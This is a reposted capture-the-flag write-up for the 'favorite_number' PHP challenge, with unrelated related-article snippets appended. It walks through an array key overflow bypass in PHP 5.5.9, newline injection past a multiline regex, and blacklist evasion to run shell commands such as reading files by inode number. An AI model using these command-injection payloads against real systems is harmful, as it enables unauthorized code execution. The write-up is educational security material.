攻防世界WEB练习-favorite_number

news/2024/5/7 2:31:58/文章来源:https://blog.csdn.net/m0_63127854/article/details/126772590

目录

题目场景

代码审计及绕过

通过php5.5版本的数组key溢出漏洞进行数组绕过

换行符绕过正则跨行匹配

黑名单绕过


题目场景

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {$num= $_POST["num"];if (preg_match("/^\d+$/im",$num)){if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){echo "my favorite num is:";system("echo ".$num);}else{echo 'Bonjour!';}}
} else {highlight_file(__FILE__);
}

代码审计及绕过

通过php5.5版本的数组key溢出漏洞进行数组绕过

php的版本是5.5.9

通过post方式传递两个参数:stuff(数组)和num(其中的内容经过过滤之后会被system函数执行)

既要数组强等于,又要首元素元素不等于。即要$stuff === ['admin', 'user'] 又要 $stuff[0]!='admin' 。根据上面的提示,只能是php5.5.9的版本漏洞了

根据php5.5.9的版本漏洞:

PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation

我们可以利用PHP的数组下标的一个BUG,可以利用整型溢出:

https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/

构造payload

$stuff[0]!='admin',我们通过0x100000000(0x100000000转换成十进制4294967296)来进行溢出;进行POST传参

stuff[4294967296]=admin&stuff[]=user&num=123

换行符绕过正则跨行匹配

正则"/^\d+$/im",要求整个字符串都是数字,大小写不敏感,跨行检测

^和$ 匹配字符串开头和结尾

/d 匹配数字

/i 表示匹配的时候不区分大小写

/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号

stuff%5B4294967296%5D=admin&stuff%5B%5D=user&num=123%0als

黑名单绕过

/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i

黑名单,把常用的可以执行的代码命令都排除了

查看根目录下的文件ls /

因为cat被禁用了,所以用inode索引节点,ls -i /

使用`绕过单双引号过滤,读取flag

%0atac `find / -inum 18497049`

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_6048.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

细说卷积神经网络(CNN)中所谓的“感受野”(Receptive Field)

感受野一、感受野1.全连接网络与卷积神经网络2.进一步体验“感受野”3.计算感受野通用方式4.综合实例5.总结一、感受野 感受野&#xff1a;卷积神经网络中每个网络层输出的特征图中的单个元素映射回原始输入特征中的区域大小&#xff0c;网络层越深&#xff0c;其输出特征的元素…

华为机试题练习-HJ16 购物单

HJ16 购物单背包问题-01背包 中等 通过率&#xff1a;23.60% 时间限制&#xff1a;1秒 空间限制&#xff1a;32M 知识点动态规划 校招时部分企业笔试将禁止编程题跳出页面&#xff0c;为提前适应&#xff0c;练习时请使用在线自测&#xff0c;而非本地IDE。 描述 王强决定把…

探索 Sa-Token (二) 登录认证、权限认证

&#xff08;一&#xff09;登录认证 说明&#xff1a;因为这里没有连接数据&#xff0c;我模拟两个用户&#xff0c;用户&#xff1a;zhang &#xff0c;用户&#xff1a;liu&#xff0c;密码 123456 提前做了加密。 1.密码加密接口 /*** 加密* param pwd* return*/GetMappi…

系统优化 : 笔记本盖上休眠

如何使休眠可用按下键盘上的 Windows 按钮,打开开始菜单或开始屏幕。 搜索“cmd”。 在搜索结果中,右键单击“命令提示符”,然后选择“以管理员身份运行”。 当用户帐户控制提示时,选择“继续”。 在命令提示符处,键入 powercfg.exe /hibernate on,然后按 Enter。 键入“…

MySQL复制

环境条件master:192.168.247.20 rocky8.6 mysql8.0.26 slave: 192.168.247.21 rocky8.6 mysql8.0.26基本环境准备 hostnamectl set-hostname mysql-master-01 hostnamectl set-hostname mysql-slave-01主从安装mysql-server服务 yum -y install mysql-server systemctl enabl…

3、计算机系统漫游

目录1 计算机的信息2 编译系统3 编译系统4 高速缓存5 存储器层次结构6 操作系统6.1 操作系统的抽象表示6.2 进程 1 计算机的信息信息:就是位+上下文 系统中所有的信息,包括磁盘文件、内存中的程序,内存中存放的用户数据,以及网络上传输的数据,都是由一串0、1表示 位:指8位…

vue3项目-小兔鲜儿笔记-购物车02

1.购物车页面-列表展示-本地准备已选择的商品列表数据,已选择的商品件数以及需要支付的金额渲染模板// 有效商品列表 validList(state) {return state.list.filter((goods) => goods.isEffective && goods.stock > 0) }, // 有效商品件数 validTotal() {return …

django框架八

批量操作数据 自定义分页器(重在思路) form组件 modelform组件 cookie与session简介批量操作数据 浏览器访问一个django路由 立刻创建10万条数据并展示到前端页面create()、all() 涉及到大批量数据的创建 直接使用create可能会造成数据库崩溃批量数据创建>>>:bulk_cre…

07- 诊断事件diagnostic events的类图关系

文章目录 1 DEM模块的诊断事件diagnostic events的类图关系2 各个参数的含义介绍1 DEM模块的诊断事件diagnostic events的类图关系 这个时DEM模块的诊断事件diagnostic events的类图关系。 关于其在Davinci中的体现,请参考【06- 诊断事件DemEventParameter的配置】文章的介绍…

【日常】edge和chrome浏览器截屏工具快捷键

首先打开开发者工具 使用右键===>检查 就能打开开发者模式 在开发者模式下,快捷键ctrl+shift + p然后输入截屏,就能看到了 开源作品 GOFLY是一款基于Golang+Vue开发的在线客服系统,软件著作权编号:2021SR1462600。一套可私有化部署的在线客服系统,编译后的二进制文件可…

mysql在移机后的机器上配置(该机器重装了操作系统)

说明一切就绪后,唯有mysql没起来 连接本地数据库,mysql提示Can‘t connect to MySQL server on localhost (10061)解决办法_Geeca的博客-CSDN博客 https://blog.csdn.net/Geeca/article/details/125924886 本地无法启动MySQL服务,报的错误:1067,进程意外终止---解决_java奋…

PowerShell中异步方法的使用

问题 PowerShell脚本中有个文件上传功能,使用HttpClient 脱敏处理后基本就是这样子 $client = new-object System.Net.Http.HttpClient; $result = $client.PostAsync($URL,@{}).Result;别问为什么不用await,问就是有原因某天程序执行后,$result始终为空,也无异常 经过艰苦卓…

html对象常用属性和Window 对象属性

​/* *作者:呆萌老师 *☑csdn认证讲师 *☑51cto高级讲师 *☑腾讯课堂认证讲师 *☑网易云课堂认证讲师 *☑华为开发者学堂认证讲师 *☑爱奇艺千人名师计划成员 *在这里给大家分享技术、知识和生活 *各种干货,记得关注哦! *vx:it_daimeng */ html对象常用属性 取值赋值:inn…

Javaweb学习笔记第四弹

JDBC API详解 1、DriverManager作用: 1、注册驱动 registerDriver 2、获取数据库连接 getConnection 参数:1、url jdbc:mysql://localhost:3306/数据库名称 ​ 2、user 用户名 ​ 3、password 密码 注意:在url中,如果连接的是本机,并且…

Educational Codeforces Round 132 (Rated for Div. 2) A.B.D

A. Three Doors 题目链接&#xff1a; Problem - A - Codeforces 题面&#xff1a; 题意&#xff1a; 共有三扇门&#xff0c;一开始你有一把钥匙&#xff0c;有两扇门后面有钥匙&#xff0c;一扇门后面没有钥匙&#xff08;如果有钥匙&#xff0c;就会告诉你可以开哪扇门&am…

【Servlet】这一文详细的讲述了Servlet的知识,呕心沥血,终于文成。

文章目录什么是Servlet&#xff1f;Servlet的使用1、创建一个Web项目&#xff0c;并集成Tomcat2、引入Servlet的依赖3、创建一个Web启动类第一个是重写Servlet接口第二个是继承HttpServletServlet的理解Servlet的执行流程Servlet的生命周期加载和实例化阶段初始化阶段请求处理服…

202112-2 CCF 序列查询新解 (枚举 + 分段讨论 满分题解)

问题描述 序列查询新解 题目链接 解题思路 这个是上一道题目总结出来的规律 就是 f(x) i 当x属于 【a[i], a[i 1] &#xff09; 这个区间 也就是在这个区间里f(x)都等于一个数i 再看g(x)这个函数&#xff0c;g(x&#xff09; x / 常数&#xff0c;也可以知道&#xff0c;g…

微服务技术初探(go-micro)

微服务技术初探 微服务概述 微服务是近几年产生的新概念,与传统的单体式服务相比,微服务具有更好的扩展性及低耦合度等特性。微服务的重点在于服务的治理和调度。 微(micro):狭义来说就是体积小。 服务(service):区别于系统,服务一个或者一组相对较小且独立的功能单元,是…

c语言实现通讯录

目录标题通讯录的介绍通讯录的准备通讯录的初始化通讯录的添加通讯录的打印通讯录的查找并打印通讯录的删除通讯录的排序通讯录的修改通讯录的改善动态通讯录的实现以文件的形式存储通讯录的介绍 通讯录想必大家都应该不陌生&#xff0c;我们在手机里面都会有通讯录里面记录着…

爬虫数据可视化前的环境准备(已安装python环境前提下)

一、requests请求库安装 在桌面右键打开终端输入:pip install requests 二、Beautiful Soup解析库安装 终端输入:Beautiful Soup 4安装:pip install bs4 lxml安装:pip install lxml三、matplotlib安装下载miniconda下载地址:https://docs.conda.io/en/latest/miniconda.ht…